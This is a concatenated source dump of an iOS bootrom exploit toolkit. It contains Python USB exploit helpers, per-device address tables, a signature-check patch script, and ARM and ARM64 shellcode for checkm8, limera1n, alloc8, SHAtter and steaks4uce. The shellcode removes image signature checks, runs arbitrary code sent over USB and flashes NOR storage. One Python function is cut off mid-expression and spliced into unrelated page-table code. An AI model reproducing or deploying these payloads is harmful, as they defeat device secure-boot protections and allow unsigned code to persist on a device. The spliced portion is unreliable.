1 - RELOCATE_SHELLCODE_ADDRESS 1024, # 2 - RELOCATE_SHELLCODE_SIZE 0x83dc, # 3 - memmove 0x84034000, # 4 - MAIN_STACK_ADDRESS 0x43d1, # 5 - nor_power_on 0x5df5, # 6 - nor_init 0x84024820, # 7 - gUSBSerialNumber 0x8e85, # 8 - strlcat 0x34a5, # 9 - usb_wait_for_image 0x84000000, # 10 - LOAD_ADDRESS 0x24000, # 11 - MAX_SIZE 0x84024228, # 12 - gLeakingDFUBuffer 0x1ccd, # 13 - free 0x65786563, # 14 - EXEC_MAGIC 0x1f81, # 15 - memz_create 0x3971, # 16 - jump_to 0x1fa9, # 17 - memz_destroy 0x60, # 18 - IMAGE3_LOAD_SP_OFFSET 0x50, # 19 - IMAGE3_LOAD_STRUCT_OFFSET 0x1fed, # 20 - image3_create_struct 0x265d, # 21 - image3_load_continue 0x2783, # 22 - image3_load_fail ] constants_359_5 = [ 0x84031800, # 1 - RELOCATE_SHELLCODE_ADDRESS 1024, # 2 - RELOCATE_SHELLCODE_SIZE 0x8564, # 3 - memmove 0x84034000, # 4 - MAIN_STACK_ADDRESS 0x43b9, # 5 - nor_power_on 0x5f75, # 6 - nor_init 0x84024750, # 7 - gUSBSerialNumber 0x901d, # 8 - strlcat 0x36e5, # 9 - usb_wait_for_image 0x84000000, # 10 - LOAD_ADDRESS 0x24000, # 11 - MAX_SIZE 0x84024158, # 12 - gLeakingDFUBuffer 0x1a51, # 13 - free 0x65786563, # 14 - EXEC_MAGIC 0x1f25, # 15 - memz_create 0x39dd, # 16 - jump_to 0x1f0d, # 17 - memz_destroy 0x64, # 18 - IMAGE3_LOAD_SP_OFFSET 0x60, # 19 - IMAGE3_LOAD_STRUCT_OFFSET 0x2113, # 20 - image3_create_struct 0x2665, # 21 - image3_load_continue 0x276d, # 22 - image3_load_fail ] constants_574_4 = [ 0x84039800, # 1 - RELOCATE_SHELLCODE_ADDRESS 1024, # 2 - RELOCATE_SHELLCODE_SIZE 0x84dc, # 3 - memmove 0x8403c000, # 4 - MAIN_STACK_ADDRESS 0x4e8d, # 5 - nor_power_on 0x690d, # 6 - nor_init 0x8402e0e0, # 7 - gUSBSerialNumber 0x90c9, # 8 - strlcat 0x4c85, # 9 - usb_wait_for_image 0x84000000, # 10 - LOAD_ADDRESS 0x2c000, # 11 - MAX_SIZE 0x8402dbcc, # 12 - gLeakingDFUBuffer 0x3b95, # 13 - free 0x65786563, # 14 - EXEC_MAGIC 0x7469, # 15 - memz_create 0x5a5d, # 16 - jump_to 0x7451, # 17 - memz_destroy 0x68, # 18 - IMAGE3_LOAD_SP_OFFSET 0x64, # 19 - IMAGE3_LOAD_STRUCT_OFFSET 0x412d, # 20 - image3_create_struct 0x46db, # 21 - image3_load_continue 0x47db, # 22 - image3_load_fail ] class DeviceConfig: def __init__(self, version, cpid, exploit_lr, max_size, constants): self.version = version self.cpid = cpid self.exploit_lr = exploit_lr self.max_size = max_size self.constants = constants configs = [ DeviceConfig('359.3', '8920', 0x84033FA4, 0x24000, constants_359_3), # S5L8920 (old bootrom) DeviceConfig('359.3.2', '8920', 0x84033FA4, 0x24000, constants_359_3_2), # S5L8920 (new bootrom) DeviceConfig('359.5', '8922', 0x84033F98, 0x24000, constants_359_5), # S5L8922 DeviceConfig('574.4', '8930', 0x8403BF9C, 0x2C000, constants_574_4), # S5L8930 ] def create_control_transfer(device, request, timeout): ptr = usb.backend.libusb1._lib.libusb_alloc_transfer(0) assert ptr is not None transfer = ptr.contents transfer.dev_handle = device._ctx.handle.handle transfer.endpoint = 0 # EP0 transfer.type = 0 # LIBUSB_TRANSFER_TYPE_CONTROL transfer.timeout = timeout transfer.buffer = request.buffer_info()[0] # C-pointer to request buffer transfer.length = len(request) transfer.user_data = None transfer.callback = usb.backend.libusb1._libusb_transfer_cb_fn_p(0) # NULL transfer.flags = 1 << 1 # LIBUSB_TRANSFER_FREE_BUFFER return ptr def limera1n_libusb1_async_ctrl_transfer(device, bmRequestType, bRequest, wValue, wIndex, data, timeout): if usb.backend.libusb1._lib is not device._ctx.backend.lib: print 'ERROR: This exploit requires libusb1 backend, but another backend is being used. Exiting.' sys.exit(1) request = array.array('B', struct.pack('>= 14 e = 0b11 #valid and isPage e |= 1 << 2 #attrIndex 1 e |= 0b10 << 6 #AP R- in EL1, -- in EL0 e |= 1 << 10 #AF e |= addr << 14 #outputAddress return e def makePTE_Table_16K(addr): addr >>= 14 e = 0b11 #valid and isTable e |= addr << 14 #outputAddress return e def main(): print "*** SecureROM t8015 sigcheckpath by tihmstar ***" device = dfu.acquire_device() print "Found:", device.serial_number if not "PWND:[" in device.serial_number: print "Please enable pwned DFU Mode first." sys.exit(1) if not "PWND:[checkm8]" in device.serial_number: print "Only devices pwned using checkm8 are supported." sys.exit(1) dfu.release_device(device) device = usbexec.PwnedUSBDevice() #make Level3 Table l3table = "" for addr in range(0x0000000100000000,0x0000000100100000,PAGE_SIZE): entry = struct.pack(" MAX_SIZE) goto img3_fail MOV R8, R2 @ R8 = R0[1] MOV R0, R4 MOV R1, R6 LDR R4, =image3_create_struct BLX R4 MOV R4, R0 @ R4 = image3_create_struct(SP + IMAGE3_LOAD_STRUCT_OFFSET, R6, R8, 0) LDR R3, =image3_load_continue @ R3 = image3_load_continue CBZ R4, img3_branch_R3 @ if (R4 == 0) goto img3_branch_R3 img3_fail: MOV R4, #1 @ R4 = 1 LDR R3, =image3_load_fail @ R3 = image3_load_fail img3_branch_R3: BX R3 @ goto R3 .align 2 PWND_STRING: .ascii " PWND:[SHAtter]\x00" ================================================ FILE: src/alloc8-shellcode.S ================================================ @ alloc8-shellcode.S @ Author: axi0mX @ Shellcode for alloc8 exploit with minor improvements: @ * supports 'exec' magic for code execution over USB @ * reports PWND:[alloc8] in USB serial number string @ * enters pwned DFU on boot if home and power buttons are being held and cable is connected .text .pool .set free, 0xBAD00004 .set get_nor_image, 0xBAD0000a .set memz_create, 0xBAD00013 .set memz_destroy, 0xBAD00014 .set image3_create_struct, 0xBAD00017 .set image3_load_continue, 0xBAD00018 .set image3_load_fail, 0xBAD00019 .set usb_wait_for_image, 0xBAD00010 .set usb_create_serial_number_string, 0xBAD0000e .set jump_to, 0xBAD0000d .set exit_critical_section, 0xBAD00005 .set cable_connected, 0xBAD00008 .set power_button_pressed, 0xBAD00007 .set home_button_pressed, 0xBAD00006 .set clean_invalidate_data_cache, 0xBAD00002 .set strlcat, 0xBAD0000f .set gNorImg3List, 0xBAD00003 .set gLeakingDFUBuffer, 0xBAD00011 .set MAIN_STACK_ADDRESS, 0xBAD00001 .set LOAD_ADDRESS, 0xBAD0000b .set MAX_SIZE, 0xBAD0000c .set ILLB_MAGIC, 0xBAD00009 .set MEMZ_STRUCT_MAGIC, 0xBAD00016 .set IMG3_STRUCT_MAGIC, 0xBAD00015 .set EXEC_MAGIC, 0xBAD00012 .global _start _start: .code 16 LDR R0, =MAIN_STACK_ADDRESS MOV SP, R0 @ SP = MAIN_STACK_ADDRESS LDR R0, =clean_invalidate_data_cache BLX R0 @ clean_invalidate_data_cache() LDR R4, =gNorImg3List @ R4 = &gNorImg3List LDR R1, [R4, #4] @ R1 = R4[1] LDR R5, [R1, #4] @ R5 = R1[1] STR R4, [R1, #4] @ R1[1] = R4 STR R1, [R4] @ gNorImg3List = R1 LDR R6, =free @ R6 = free free_loop: CMP R4, R5 BEQ pwned_boot @ if (R4 == R5) goto pwned_boot MOV R0, R5 @ R0 = R5 LDR R5, [R5, #4] @ R5 = R5[1] BLX R6 @ free(R0) B free_loop @ goto free_loop pwned_boot: SUB SP, SP, #0xC @ SP -= 0xC LDR R3, =exit_critical_section BLX R3 @ exit_critical_section() LDR R3, =home_button_pressed BLX R3 @ R0 = home_button_pressed() CBZ R0, pwned_llb_boot @ if (R0 == 0) goto pwned_llb_boot LDR R3, =power_button_pressed BLX R3 @ R0 = power_button_pressed() CBZ R0, pwned_llb_boot @ if (R0 == 0) goto pwned_llb_boot LDR R3, =cable_connected BLX R3 @ R0 = cable_connected() CBNZ R0, pwned_dfu @ if (R0 != 0) goto pwned_dfu pwned_llb_boot: LDR R0, =ILLB_MAGIC LDR R3, =get_nor_image BLX R3 @ R0 = get_nor_image(ILLB_MAGIC) CBZ R0, pwned_dfu @ if (R0 == 0) goto pwned_dfu LDR R1, =LOAD_ADDRESS STR R1, [SP] @ SP[0] = LOAD_ADDRESS LDR R1, =MAX_SIZE STR R1, [SP, #4] @ SP[1] = MAX_SIZE MOV R1, SP ADD R2, SP, #4 BL image3_load_no_signature_check @ R0 = image3_load_no_signature_check(R0, &SP[0], &SP[1]) CBNZ R0, pwned_dfu @ if (R0 != 0) goto pwned_dfu LDR R1, =LOAD_ADDRESS MOV R2, #0 LDR R3, =jump_to BLX R3 @ jump_to(0, LOAD_ADDRESS, 0) /* jump_to should never return */ pwned_dfu: MOV R0, #1 LDR R3, =usb_create_serial_number_string BLX R3 @ R0 = usb_create_serial_number_string(1) ADR R1, PWND_STRING MOV R2, #120 LDR R3, =strlcat BLX R3 @ strlcat(R0, PWND_STRING, 120) pwned_dfu_loop: LDR R0, =LOAD_ADDRESS LDR R1, =MAX_SIZE LDR R3, =usb_wait_for_image BLX R3 MOV R4, R0 @ R4 = usb_wait_for_image(LOAD_ADDRESS, MAX_SIZE) LDR R5, =gLeakingDFUBuffer LDR R0, [R5] LDR R3, =free BLX R3 @ free(gLeakingDFUBuffer) MOV R0, #0 STR R0, [R5] @ gLeakingDFUBuffer = 0 CMP R4, #0 BLT pwned_dfu_loop @ if (R4 < 0) goto pwned_dfu_loop LDR R5, =LOAD_ADDRESS LDR R0, [R5] @ R0 = LOAD_ADDRESS[0] LDR R1, =EXEC_MAGIC CMP R0, R1 BEQ pwned_dfu_exec_magic @ if (R0 == EXEC_MAGIC) goto pwned_dfu_exec_magic LDR R0, =LOAD_ADDRESS MOV R1, R4 MOV R2, #0 LDR R3, =memz_create BLX R3 MOV R4, R0 @ R4 = memz_create(LOAD_ADDRESS, R4, 0) CBZ R4, pwned_dfu_loop_end @ if (R4 == 0) goto pwned_dfu_loop_end STR R5, [SP] @ SP[0] = LOAD_ADDRESS STR R4, [SP, #4] @ SP[1] = R4 MOV R1, SP ADD R2, SP, #4 BL image3_load_no_signature_check @ R0 = image3_load_no_signature_check(R0, &SP[0], &SP[1]) CBNZ R0, pwned_dfu_load_failed @ if (R0 != 0) goto pwned_dfu_load_failed LDR R1, =LOAD_ADDRESS MOV R2, #0 LDR R3, =jump_to BLX R3 @ jump_to(0, LOAD_ADDRESS, 0) /* jump_to should never return */ pwned_dfu_load_failed: MOV R0, R4 LDR R3, =memz_destroy BLX R3 @ memz_destroy(R4) pwned_dfu_loop_end: B pwned_dfu_loop @ goto pwned_dfu_loop pwned_dfu_exec_magic: LDR R0, [R5, #0x8] @ R0 = LOAD_ADDRESS[2] /* arg1 */ LDR R1, [R5, #0xC] @ R1 = LOAD_ADDRESS[3] /* arg2 */ LDR R2, [R5, #0x10] @ R2 = LOAD_ADDRESS[4] /* arg3 */ LDR R3, [R5, #0x14] @ R3 = LOAD_ADDRESS[5] /* arg4 */ LDR R4, [R5, #0x18] /* TODO: Consider replacing with memmove? */ STR R4, [SP] @ SP[0] = LOAD_ADDRESS[6] /* arg5 */ LDR R4, [R5, #0x1C] STR R4, [SP, #0x4] @ SP[1] = LOAD_ADDRESS[7] /* arg6 */ LDR R4, [R5, #0x20] STR R4, [SP, #0x8] @ SP[2] = LOAD_ADDRESS[8] /* arg7 */ LDR R4, [R5, #0x4] BLX R4 @ R0 = LOAD_ADDRESS[1](R0, R1, R2, R3, SP[0], SP[1], SP[2]) STR R0, [R5, #4] @ LOAD_ADDRESS[1] = R0 MOV R0, #0 STR R0, [R5] @ LOAD_ADDRESS[0] = 0 B pwned_dfu_loop @ goto pwned_dfu_loop image3_load_no_signature_check: PUSH {R4-R7, LR} /* TODO: Rewrite this ugly mess. */ MOV R6, R11 MOV R5, R10 MOV R4, R8 PUSH {R4-R6} ADD R7, SP, #0x18 SUB SP, SP, #0x60 STR R2, [SP, #0x10] MOVS R3, #0 STR R3, [SP, #0x50] LDR R6, [R1] MOV R10, R1 MOVS R5, R0 LDR R0, [R5, #4] MOV R8, R0 LDR R1, =MAX_SIZE CMP R0, R1 BGT img3_bad_size LDR R0, [R5, #0xC] LDR R1, =IMG3_STRUCT_MAGIC CMP R0, R1 BNE not_nor_img3 MOV R4, R8 STR R4, [SP] LDR R4, [R5, #0x14] LDR R0, [R4, #8] LDR R1, =LOAD_ADDRESS LDR R2, [R4, #0xC] MOVS R3, #0 LDR R4, [R0, #0x1C] BLX R4 CMP R0, R8 BNE img3_fail B img3_continue not_nor_img3: LDR R1, =MEMZ_STRUCT_MAGIC CMP R0, R1 BNE img3_fail img3_continue: ADD R0, SP, #0x50 MOVS R1, R6 MOV R2, R8 MOVS R3, #0 LDR R4, =image3_create_struct BLX R4 MOV R4, R0 CBNZ R4, img3_fail LDR R3, =image3_load_continue BX R3 img3_bad_size: MOV R8, R1 img3_fail: MOV R4, #1 LDR R3, =image3_load_fail BX R3 .align 2 PWND_STRING: .ascii " PWND:[alloc8]\x00" ================================================ FILE: src/checkm8_arm64.S ================================================ .text .pool .set PAYLOAD_OFFSET, 0xBAD00006 .set PAYLOAD_SIZE, 0xBAD00007 .set PAYLOAD_DEST, 0xBAD00005 .set PAYLOAD_PTR, 0xBAD00008 .set gUSBSerialNumber, 0xBAD00002 .set gUSBSRNMStringDescriptor, 0xBAD00004 .set gUSBDescriptors, 0xBAD00001 .set usb_create_string_descriptor, 0xBAD00003 .global _main _main: MOV X19, #0 // HACK: do not free this usb request STP X29, X30, [SP,#-0x10]! MOV X29, SP # Do not set USB Descriptors anymore, this will cause a crash on t8011 (and maybe others) LDR X0, =gUSBDescriptors LDP X0, X1, [X0] ADR X2, USB_DESCRIPTOR LDP X3, X4, [X2] //STP X3, X4, [X0] //STP X3, X4, [X1] LDP X3, X4, [X2,#0x10] //STP X3, X4, [X0,#0x10] //STP X3, X4, [X1,#0x10] LDR X0, =gUSBSerialNumber find_zero_loop: ADD X0, X0, #1 LDRB W1, [X0] CBNZ W1, find_zero_loop ADR X1, PWND_STRING LDP X2, X3, [X1] STP X2, X3, [X0] LDR X0, =gUSBSerialNumber LDR X1, =usb_create_string_descriptor BLR X1 LDR X1, =gUSBSRNMStringDescriptor STRB W0, [X1] LDR X0, =PAYLOAD_DEST ADR X1, _main LDR X2, =PAYLOAD_OFFSET ADD X1, X1, X2 MOV X2, #0 LDR X3, =PAYLOAD_SIZE LDR X4, =PAYLOAD_PTR ADD X5, X0, #0x18 STR X5, [X4] copy_loop: LDP X3, X4, [X1] STP X3, X4, [X0] LDP X3, X4, [X1,#0x10] STP X3, X4, [X0,#0x10] LDP X3, X4, [X1,#0x20] STP X3, X4, [X0,#0x20] LDP X3, X4, [X1,#0x30] STP X3, X4, [X0,#0x30] DC CIVAC, X0 DMB SY ADD X0, X0, #0x40 ADD X1, X1, #0x40 ADD X2, X2, #0x40 CMP X2, X3 B.CC copy_loop SYS #0, c7, c5, #0 DSB SY ISB LDP X29, X30, [SP],#0x10 RET USB_DESCRIPTOR: .word 0x190209, 0x80050101, 0x409fa, 0x1fe0000, 0x21070000, 0xa01, 0x8, 0x0 PWND_STRING: .asciz " PWND:[checkm8]" ================================================ FILE: src/checkm8_armv7.S ================================================ .text .pool .set PAYLOAD_OFFSET, 0xBAD00006 .set PAYLOAD_SIZE, 0xBAD00007 .set PAYLOAD_DEST, 0xBAD00005 .set PAYLOAD_PTR, 0xBAD00008 .set gUSBSerialNumber, 0xBAD00002 .set gUSBSRNMStringDescriptor, 0xBAD00004 .set gUSBDescriptors, 0xBAD00001 .set usb_create_string_descriptor, 0xBAD00003 .code 32 .global _main _main: MOV R4, #0 // HACK: do not free this usb request PUSH {R4-R7,LR} LDR R0, =gUSBDescriptors LDRD R0, R1, [R0] ADR R2, USB_DESCRIPTOR LDRD R4, R5, [R2] STRD R4, R5, [R0] STRD R4, R5, [R1] LDRD R4, R5, [R2,#0x8] STRD R4, R5, [R0,#0x8] STRD R4, R5, [R1,#0x8] LDRD R4, R5, [R2,#0x10] STRD R4, R5, [R0,#0x10] STRD R4, R5, [R1,#0x10] LDRD R4, R5, [R2,#0x18] STRD R4, R5, [R0,#0x18] STRD R4, R5, [R1,#0x18] LDR R0, =gUSBSerialNumber find_zero_loop: ADD R0, R0, #1 LDRB R1, [R0] CMP R1, #0 BNE find_zero_loop ADR R1, PWND_STRING LDR R2, [R1] LDR R3, [R1,#0x4] STR R2, [R0] STR R3, [R0,#0x4] LDR R2, [R1,#0x8] LDR R3, [R1,#0xC] STR R2, [R0,#0x8] STR R3, [R0,#0xC] LDR R0, =gUSBSerialNumber LDR R1, =usb_create_string_descriptor LDR R4, =gUSBSRNMStringDescriptor BLX R1 STRB R0, [R4] LDR R0, =PAYLOAD_DEST ADR R1, _main LDR R2, =PAYLOAD_OFFSET ADD R1, R1, R2 MOV R2, #0 LDR R3, =PAYLOAD_SIZE LDR R4, =PAYLOAD_PTR ADD R5, R0, #0x9 STR R5, [R4] copy_loop: LDRD R4, R5, [R1] STRD R4, R5, [R0] LDRD R4, R5, [R1,#0x8] STRD R4, R5, [R0,#0x8] LDRD R4, R5, [R1,#0x10] STRD R4, R5, [R0,#0x10] LDRD R4, R5, [R1,#0x18] STRD R4, R5, [R0,#0x18] LDRD R4, R5, [R1,#0x20] STRD R4, R5, [R0,#0x20] LDRD R4, R5, [R1,#0x28] STRD R4, R5, [R0,#0x28] LDRD R4, R5, [R1,#0x30] STRD R4, R5, [R0,#0x30] LDRD R4, R5, [R1,#0x38] STRD R4, R5, [R0,#0x38] MCR p15, 0, R0,c7,c14, 1 DMB SY ADD R0, R0, #0x40 ADD R1, R1, #0x40 ADD R2, R2, #0x40 CMP R2, R3 BCC copy_loop MOV R0, #0 MCR p15, 0, R0, c7, c5, 0 DSB ISB POP {R4-R7,PC} USB_DESCRIPTOR: .word 0x190209, 0x80050101, 0x409fa, 0x1fe0000, 0x21070000, 0xa01, 0x8, 0x0 PWND_STRING: .asciz " PWND:[checkm8]" ================================================ FILE: src/ibss-flash-nor-shellcode.S ================================================ @ ibss-flash-nor-shellcode.S @ Author: axi0mX @ Flashes parts of payload to NOR using iPhone2,1 4.3.5 iBSS @ Parts flashed: 0x0-0x200, 0x8000-0xF3000 .text .pool .set reboot_cmd, 0x84000cdd .set set_bgcolor, 0x8400c6ed .set apply_bgcolor, 0x8400c789 .set get_block_device, 0x84012c61 .set gNor0String, 0x84014754 .set NOR_PAYLOAD_BASE, 0x41000080 .set NOR_WRITE_1_OFFSET, 0 .set NOR_WRITE_1_SIZE, 0x200 .set NOR_WRITE_2_OFFSET, 0x8000 .set NOR_WRITE_2_SIZE, 0x78000 .set NOR_WRITE_3_OFFSET, 0x80000 .set NOR_WRITE_3_SIZE, 0x73000 .global _start _start: .code 16 MOV R0, #0 MOV R1, #160 MOV R2, #0 LDR R3, =set_bgcolor BLX R3 @ set_bgcolor(0, 160, 0) LDR R3, =apply_bgcolor BLX R3 @ apply_bgcolor() LDR R0, =NOR_WRITE_1_OFFSET LDR R1, =NOR_WRITE_1_SIZE BL flash_nor @ flash_nor(NOR_WRITE_1_OFFSET, NOR_WRITE_1_SIZE) LDR R0, =NOR_WRITE_2_OFFSET LDR R1, =NOR_WRITE_2_SIZE BL flash_nor @ flash_nor(NOR_WRITE_2_OFFSET, NOR_WRITE_2_SIZE) LDR R0, =NOR_WRITE_3_OFFSET LDR R1, =NOR_WRITE_3_SIZE BL flash_nor @ flash_nor(NOR_WRITE_3_OFFSET, NOR_WRITE_3_SIZE) LDR R3, =reboot_cmd BLX R3 @ reboot_cmd() /* reboot_cmd should never return */ B spin @ goto spin flash_nor: @ void flash_nor(R0=offset, R1=size) PUSH {R4-R5, LR} MOV R4, R0 @ R4 = R0 MOV R5, R1 @ R5 = R1 LDR R0, =gNor0String LDR R3, =get_block_device BLX R3 @ R0 = get_block_device(gNor0String) CBZ R0, fail @ if (R0 == 0) goto fail LDR R1, =NOR_PAYLOAD_BASE ADD R1, R1, R4 MOV R2, R4 MOV R3, #0 STR R5, [SP] LDR R4, [R0, #0x24] BLX R4 @ R0 = R0[9](R0, NOR_PAYLOAD_BASE + R4, R4, 0, R5) CMP R0, R5 BNE fail @ if (R0 != R5) goto fail POP {R4-R5, PC} @ return fail: MOV R0, #255 MOV R1, #0 MOV R2, #0 LDR R3, =set_bgcolor BLX R3 @ set_bgcolor(255, 0, 0) LDR R3, =apply_bgcolor BLX R3 @ apply_bgcolor() spin: B spin @ while (1) ================================================ FILE: src/limera1n-shellcode.S ================================================ @ limera1n-shellcode.S @ Author: axi0mX @ Shellcode for limera1n exploit with minor improvements: @ * supports 'exec' magic for code execution over USB @ * reports PWND:[limera1n] in USB serial number string .text .pool .set free, 0xBAD0000d .set memz_create, 0xBAD0000f .set memz_destroy, 0xBAD00011 .set image3_create_struct, 0xBAD00014 .set image3_load_continue, 0xBAD00015 .set image3_load_fail, 0xBAD00016 .set usb_wait_for_image, 0xBAD00009 .set jump_to, 0xBAD00010 .set nor_power_on, 0xBAD00005 .set nor_init, 0xBAD00006 .set memmove, 0xBAD00003 .set strlcat, 0xBAD00008 .set gLeakingDFUBuffer, 0xBAD0000c .set gUSBSerialNumber, 0xBAD00007 .set RELOCATE_SHELLCODE_ADDRESS, 0xBAD00001 .set RELOCATE_SHELLCODE_SIZE, 0xBAD00002 .set MAIN_STACK_ADDRESS, 0xBAD00004 .set LOAD_ADDRESS, 0xBAD0000a .set MAX_SIZE, 0xBAD0000b .set EXEC_MAGIC, 0xBAD0000e .set IMAGE3_LOAD_SP_OFFSET, 0xBAD00012 .set IMAGE3_LOAD_STRUCT_OFFSET, 0xBAD00013 .global _start _start: .code 16 B relocate_shellcode @ goto relocate_shellcode NOP NOP NOP NOP NOP NOP NOP NOP NOP relocate_shellcode: MOV R1, PC SUB R1, R1, #4 @ R1 = PC - 4 LDR R0, =RELOCATE_SHELLCODE_ADDRESS CMP R0, R1 BEQ pwned_dfu_start @ if (R1 == RELOCATE_SHELLCODE_ADDRESS) goto pwned_dfu_start LDR R2, =RELOCATE_SHELLCODE_SIZE LDR R3, =memmove BLX R3 @ memmove(RELOCATE_SHELLCODE_ADDRESS, R1, RELOCATE_SHELLCODE_SIZE) LDR R3, =RELOCATE_SHELLCODE_ADDRESS ADD R3, R3, #1 BX R3 @ goto (RELOCATE_SHELLCODE_ADDRESS + 1) pwned_dfu_start: LDR R0, =MAIN_STACK_ADDRESS MOV SP, R0 @ SP = MAIN_STACK_ADDRESS MOV R0, #1 MOV R1, #1 MOV R2, #0 LDR R3, =nor_power_on BLX R3 @ nor_power_on(1, 1, 0) MOV R0, #0 LDR R3, =nor_init BLX R3 @ nor_init(0) LDR R0, =gUSBSerialNumber ADR R1, PWND_STRING MOV R2, #120 LDR R3, =strlcat BLX R3 @ strlcat(gUSBSerialNumber, PWND_STRING, 120) pwned_dfu_loop: LDR R3, =usb_wait_for_image LDR R0, =LOAD_ADDRESS LDR R1, =MAX_SIZE BLX R3 @ R0 = usb_wait_for_image(LOAD_ADDRESS, MAX_SIZE) MOV R4, R0 @ R4 = R0 LDR R1, =gLeakingDFUBuffer LDR R0, [R1] @ R0 = gLeakingDFUBuffer MOV R2, #0 STR R2, [R1] @ gLeakingDFUBuffer = 0 LDR R3, =free BLX R3 @ free(R0) CMP R4, #0 BLT pwned_dfu_loop @ if (R4 < 0) goto pwned_dfu_loop LDR R5, =LOAD_ADDRESS LDR R0, [R5] @ R0 = LOAD_ADDRESS[0] LDR R1, =EXEC_MAGIC CMP R0, R1 BNE pwned_dfu_not_exec_magic @ if (R0 != EXEC_MAGIC) goto pwned_dfu_not_exec_magic LDR R0, [R5, #0x8] @ R0 = LOAD_ADDRESS[2] /* arg1 */ LDR R1, [R5, #0xC] @ R1 = LOAD_ADDRESS[3] /* arg2 */ LDR R2, [R5, #0x10] @ R2 = LOAD_ADDRESS[4] /* arg3 */ LDR R3, [R5, #0x14] @ R3 = LOAD_ADDRESS[5] /* arg4 */ LDR R4, [R5, #0x18] STR R4, [SP] @ SP[0] = LOAD_ADDRESS[6] /* arg5 */ LDR R4, [R5, #0x1C] STR R4, [SP, #0x4] @ SP[1] = LOAD_ADDRESS[7] /* arg6 */ LDR R4, [R5, #0x20] STR R4, [SP, #0x8] @ SP[2] = LOAD_ADDRESS[8] /* arg7 */ LDR R4, [R5, #0x4] BLX R4 @ R0 = LOAD_ADDRESS[1](R0, R1, R2, R3, SP[0], SP[1], SP[2]) STR R0, [R5, #4] @ LOAD_ADDRESS[1] = R0 MOV R1, #0 STR R1, [R5] @ LOAD_ADDRESS[0] = 0 B pwned_dfu_loop @ goto pwned_dfu_loop pwned_dfu_not_exec_magic: LDR R0, =LOAD_ADDRESS MOV R1, R4 MOV R2, #0 LDR R3, =memz_create BLX R3 @ R0 = memz_create(LOAD_ADDRESS, R4, 0) CMP R0, #0 BEQ pwned_dfu_loop @ if (R0 == 0) goto pwned_dfu_loop /* out of memory :-| */ LDR R3, =LOAD_ADDRESS STR R3, [SP] @ SP[0] = LOAD_ADDRESS STR R4, [SP, #4] @ SP[1] = R4 MOV R4, R0 @ R4 = R0 MOV R1, SP ADD R2, SP, #4 BL image3_load_no_signature_check @ R0 = image3_load_no_signature_check(R0, &SP[0], &SP[1]) CBNZ R0, load_failed @ if (R0 != 0) goto load_failed LDR R1, =LOAD_ADDRESS MOV R2, #0 LDR R3, =jump_to BLX R3 @ jump_to(0, LOAD_ADDRESS, 0) /* jump_to should never return */ load_failed: MOV R0, R4 LDR R3, =memz_destroy BLX R3 @ memz_destroy(R4) B pwned_dfu_loop @ goto pwned_dfu_loop image3_load_no_signature_check: PUSH {R4-R7, LR} @ push_registers(R4, R5, R6, R7, LR) MOV R6, R11 MOV R5, R10 MOV R4, R8 PUSH {R4-R6} @ push_registers(R8, R10, R11) ADD R7, SP, #0x18 @ R7 = SP - 0x18 LDR R4, =IMAGE3_LOAD_SP_OFFSET MOV R5, SP SUB R5, R5, R4 MOV SP, R5 @ SP = SP - IMAGE3_LOAD_SP_OFFSET MOV R3, #0 LDR R4, =IMAGE3_LOAD_STRUCT_OFFSET ADD R4, R5, R4 STR R3, [R4] @ *(SP + IMAGE3_LOAD_STRUCT_OFFSET) = 0 STR R2, [SP, #0x10] @ SP[4] = R2 STR R1, [SP, #0x14] @ SP[5] = R1 STR R3, [SP, #0x18] @ SP[6] = 0 LDR R6, [R1] @ R6 = *R1 MOV R10, R1 @ R10 = R1 MOV R11, R3 @ R11 = 0 LDR R1, =MAX_SIZE MOV R8, R1 @ R8 = MAX_SIZE LDR R2, [R0, #4] CMP R2, R1 BGT img3_fail @ if (R0[1] > MAX_SIZE) goto img3_fail MOV R8, R2 @ R8 = R0[1] MOV R0, R4 MOV R1, R6 LDR R4, =image3_create_struct BLX R4 MOV R4, R0 @ R4 = image3_create_struct(SP + IMAGE3_LOAD_STRUCT_OFFSET, R6, R8, 0) LDR R3, =image3_load_continue @ R3 = image3_load_continue CBZ R4, img3_branch_R3 @ if (R4 == 0) goto img3_branch_R3 img3_fail: MOV R4, #1 @ R4 = 1 LDR R3, =image3_load_fail @ R3 = image3_load_fail img3_branch_R3: BX R3 @ goto R3 .align 2 PWND_STRING: .ascii " PWND:[limera1n]\x00" ================================================ FILE: src/steaks4uce-shellcode.S ================================================ @ steaks4uce-shellcode.S @ Author: axi0mX @ Shellcode for steaks4uce exploit with minor improvements: @ * reports PWND:[steaks4uce] in USB serial number string .text .pool .set clean_data_cache, 0xBAD0000a .set invalidate_instruction_cache, 0xBAD00006 .set usb_shutdown, 0xBAD00005 .set free, 0xBAD00011 .set memz_create, 0xBAD00013 .set memz_destroy, 0xBAD00015 .set image3_create_struct, 0xBAD00018 .set image3_load_continue, 0xBAD00019 .set image3_load_fail, 0xBAD0001a .set usb_wait_for_image, 0xBAD0000d .set jump_to, 0xBAD00014 .set nor_power_on, 0xBAD00002 .set nor_init, 0xBAD00003 .set usb_destroy, 0xBAD00004 .set memmove, 0xBAD00009 .set strlcat, 0xBAD0000c .set gLeakingDFUBuffer, 0xBAD00010 .set gVersionString, 0xBAD0000b .set RELOCATE_SHELLCODE_ADDRESS, 0xBAD00007 .set RELOCATE_SHELLCODE_SIZE, 0xBAD00008 .set MAIN_STACK_ADDRESS, 0xBAD00001 .set LOAD_ADDRESS, 0xBAD0000e .set MAX_SIZE, 0xBAD0000f .set EXEC_MAGIC, 0xBAD00012 .set IMAGE3_LOAD_SP_OFFSET, 0xBAD00016 .set IMAGE3_LOAD_STRUCT_OFFSET, 0xBAD00017 .global _start .code 16 _start: B pwned_dfu_start @ goto pwned_dfu_start NOP NOP NOP NOP NOP NOP NOP NOP NOP pwned_dfu_start: LDR R0, =MAIN_STACK_ADDRESS MOV SP, R0 @ SP = MAIN_STACK_ADDRESS MOV R0, #1 MOV R1, #1 MOV R2, #0 LDR R3, =nor_power_on BLX R3 @ nor_power_on(1, 1, 0) MOV R0, #0 LDR R3, =nor_init BLX R3 @ nor_init(0) LDR R3, =usb_destroy BLX R3 @ usb_destroy() LDR R3, =usb_shutdown BLX R3 @ usb_shutdown() LDR R3, =invalidate_instruction_cache BLX R3 @ invalidate_instruction_cache() relocate_shellcode: MOV R1, PC SUB R1, R1, #4 @ R1 = PC - 4 LDR R0, =RELOCATE_SHELLCODE_ADDRESS CMP R0, R1 BEQ pwned_dfu_loop @ if (R1 == RELOCATE_SHELLCODE_ADDRESS) goto pwned_dfu_loop LDR R2, =RELOCATE_SHELLCODE_SIZE LDR R3, =memmove BLX R3 @ memmove(RELOCATE_SHELLCODE_ADDRESS, 